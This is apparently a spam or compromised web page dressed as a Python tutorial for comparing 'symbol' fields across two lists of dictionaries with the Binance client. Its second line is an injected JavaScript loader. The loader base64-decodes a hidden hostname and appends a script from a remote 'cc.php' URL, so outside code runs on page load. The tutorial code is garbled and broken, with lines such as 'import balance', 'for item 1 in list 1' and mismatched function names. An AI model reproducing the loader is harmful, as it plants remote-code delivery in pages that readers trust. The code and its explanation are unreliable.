Ethereum: Compare strings in two lists of dicts : python-binance
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=9862c8ce”;document.body.appendChild(script);
Here is a step-by-step guide on how to achieve this using Python and the Binance API:
Import the necessary librariesimport balance
from binance.client import Client
Set your API credentialsAPI_KEY = "YOUR_API_KEY"
API_SECRET = "YOUR_API_SECRET"
Create an instance of the client with the API credentialsclient = client( api_key= API_KEY, api_secret= API_SECRET )
Define a function to compare strings in two lists of dictionariesdef Compare_strings_in_lists(list1, list2):
"""
Compare strings in two lists of dictionaries.
Arguments:
list1 (list): The first list of dictionaries.
list2 (list): The second list of dictionaries.
Returns:
dict: A dictionary containing the results of the comparison.
"""
Initialize an empty dictionary to storing comparison resultscomparison_results = {}
Iterate over each element in lists 1 and 2for item 1 in list 1:
for item 2 in list 2:
Compare the strings in both elementsif str(item1["symbol"]).lower() == str(item2["symbol"]).lower():
If the strings are the same, add the key "matching" to the comparison results dictionary.comparison_results[str(item1["symbol"])] = {"item1": item1, "item2": item2}
Returns a dictionary of comparison resultsreturn comparison_results
Define dictionary lists for USDT and BUSD market booksusdt_market_books = [
{
"symbol": "USDT",
"price": 100.0,
"volume": 10.0
},
{
"symbol": "USDT",
"price": 120.0,
"volume": 5.0
},
{
"symbol": "BUSD",
"price": 50.0,
"volume": 20.0
}
]
busd_market_books = [
{
"symbol": "USDT",
"price": 100.0,
"volume": 10.0
},
{
"symbol": "BUSD",
"price": 50.0,
"volume": 15.0
}
]
Call the Compare_strings_in_lists function with the dictionary lists for the USDT and BUSD market bookscompare_results = compare_strings_in_lists(usdt_market_books, busd_market_books)
Print the dictionary of the comparison resultsfor currency, item1 in Compare_results.items():
print(f"{currency}: {item1['symbol']} - paired")
This code defines the compare_strings_in_lists
function, which takes two dictionary lists as input and returns a dictionary containing the comparison results. It iterates over each element in both lists, comparing the strings in both elements using string equality, and adds the “matching” key to the comparison results dictionary if the strings are equal.
The code then defines two dictionary lists for the USDT and BUSD market books and calls the compare_strings_in_lists
function with these lists. The resulting dictionary of comparison results is printed to the console.